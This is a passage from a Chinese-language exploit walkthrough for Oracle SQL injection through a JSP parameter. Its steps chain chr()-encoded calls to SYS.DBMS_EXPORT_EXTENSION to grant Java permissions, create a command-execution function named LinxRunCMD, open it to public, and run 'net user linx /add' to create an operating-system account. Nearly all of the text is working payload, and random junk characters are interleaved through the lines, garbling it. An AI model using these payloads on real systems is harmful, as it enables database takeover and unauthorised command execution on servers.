chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
) N- U% X, p" U7 |- c6 ?# r% Qchr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||: j* v; E4 m: @9 u+ l
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
& `$ h0 t2 H. ]: _# w! Qchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
! Q* g6 r9 x; I6 L8 R7 D  {1 u" t,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
$ Y8 q( c( n7 x+ M2 I+ Q9 m" T9 P( d: {% o% \$ u
)
" j5 V0 b: R7 I& j. Z8 F4 _9 c$ b) m: ~! C
------------------------------
, R) T0 G8 ~; Q$ |4 E3 A$ S
, l  d6 n! H) Z3 [6 y2.赋Java权限) F+ a" A0 ?+ ]& I- `  T
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
- x' F( ~! K+ n9 N5 n( ]2 a  |8 ^, j! x6 k
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
- J7 k+ Z+ B9 Y" y7 |1 j2 Fchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
5 {3 T) f# l0 Zchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
" l- y) Z- v* e) ?9 m( s9 G7 Jchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||# w) f( @! B! W7 ~
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||1 s6 I0 X, c. G% r& ]1 Q4 ^5 P
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
+ m" y4 }9 F6 ?7 ~( Xchr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||* _: {, O. ?, ~7 J% n: g" |
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
; ~1 l: {2 r' T" J! wchr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||1 q1 Z, Q. ^' o1 n8 w3 g+ E
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)8 P+ T) Z& Y2 w
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual( ?1 s, X3 C0 j& j6 X, {

4 \  N& U! ?% D( t9 n% b)/ G- P+ F& J* b/ S" n

0 V, R) E( ]0 s% E0 b9 p3 X; oreadfile函数的ascii版就不写了,见谅。
' ?, |$ t& s$ r' v/ B. L) D$ K! U4 \
3.创建函数
- d4 t; |5 ^4 K9 |2 y- k) g; `; `! P# J  ?( K
9 O# s$ T- {& {$ j/ k: ]' zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
5 G% s4 }. x' y! Z$ J0 fchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||  Z' z( m8 d, e0 E0 O9 w, O
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
  A4 |+ E& P4 [# X5 |2 [4 m- E8 H" dchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
+ r5 p! Q4 K) d- k# D; L; bchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||5 j  B/ B% i+ p9 H8 n( K1 ?+ J) _
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||- q( v9 P8 I) i+ P0 s
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||$ ], L% c* a2 a5 T
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
2 D+ Q) e4 p0 e% F4 ]# \6 Vchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
# W3 f4 m8 X' N5 F* Xchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
" f) N1 E5 `) \% t0 B% i" A7 Schr(59)||chr(45)||chr(45)
% c/ D" S( Z/ X3 C5 \3 H9 ]& h,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual; [" a( A# w$ p8 v7 D

4 i4 F( t4 W2 S; @$ o2 @* L) p/ ^0 X9 N2 C9 z6 S6 y" h$ y

! A) O; y2 H! c* ], m2 w) J4.赋public执行函数的权限
% }4 ]* J) z* e: D: K7 y( Y
+ A* X% P$ Y3 S6 s0 \select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),$ q# h# _5 ]" I+ b9 [8 s  _+ W( Y
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||" |1 c  E2 y- O
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||; e/ O, E1 N0 N- {- t
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||8 d' O/ ]% h& N
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
- M1 N$ H' Z! c; s; wchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||3 J& |- _9 l6 ~3 u. e) T
chr(59)||chr(45)||chr(45)
6 E) e6 }, l" W* s( G,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual+ s4 s  S$ D2 K, R: D& ^/ E. z

7 @& K  o+ {# ~& p% `- v& k. o" [  V8 K/ i1 T% D, H, z5 l$ C4 i

" J2 m& f1 O2 a, \5.执行命令:
* v0 x$ ?6 B7 \3 ~7 E2 Y5 x# j, U- J- N7 k4 W( l
/xxx.jsp?id=1 and chr(49)<>chr(32)||(# `- ^0 K5 Q' K3 g9 a
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
. N3 p# _' R5 E, W+ F)
# h0 m; T8 n+ P3 y  U  A- c; U) {$ c0 k
- n  r# E. R. U$ O- c
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
( W) U/ Q' ]9 U- r) O1 Nselect sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
2 Y' i5 F5 W' n. |)
2 u; B6 i# M* D$ S: W! k
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